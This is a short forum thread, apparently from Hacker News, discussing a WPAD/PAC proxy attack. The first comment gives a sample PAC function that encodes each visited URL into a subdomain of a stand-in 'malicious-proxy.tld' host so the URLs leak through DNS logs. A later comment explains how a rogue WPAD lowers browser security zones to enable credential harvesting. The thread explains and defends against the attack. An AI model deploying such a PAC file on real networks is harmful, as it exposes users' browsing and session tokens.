3 ms·
From the description in the article, I guess the attack might use a PAC file like the following function FindProxyForURL(url, host) { return "PROXY " + b
by zhuzhuor 10y ago
From the description in the article, I guess the attack might use a PAC file like the following
function FindProxyForURL(url, host) {
return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
}
Then the attacker can look at his/her DNS server query log and figure out the URL.
- caf 10y agoSo it looks like the correct solution is for the browser to always supply proto://host/ as the url, regardless of the URL actually accessed.
- jodrellblank 10y agoDNS? What about sniffing the SNI data? https://en.wikipedia.org/wiki/Server_Name_Indication https://en.wikipedia.org/wiki/Server_Name_Indication
- caf 10y agoThe SNI only has the host, not the complete url.
- th0rning 10y agoThere are a number of API calls that leak DNS queries, such as isInNet. If you have optimized a PAC for performance, you absolutely would avoid this from happening, but if you're evil and you want to leak dns queries... then whatever. I would add a filter to include only the required transactions (i.e., url contains samltoken or something). On the flip side the article isn't correct about IE truncating hosts, what it does is cache the PAC results on a per-host basis, so only the first URL a client accesses to a host will get processed. The other main threat of the WPAD is that it affects Zones. In a corporate environment, things that go through the proxy server are assumed to be on the internet and in the Internet zone. Things that go direct are assumed to be Intranet Zone, which has reduced security posture. An evil WPAD that just returns "DIRECT" all the time will lower IE's posture for all sites to Intranet Zone, enabling IWA (making credential harvesting possible), reducing warnings on active content, etc.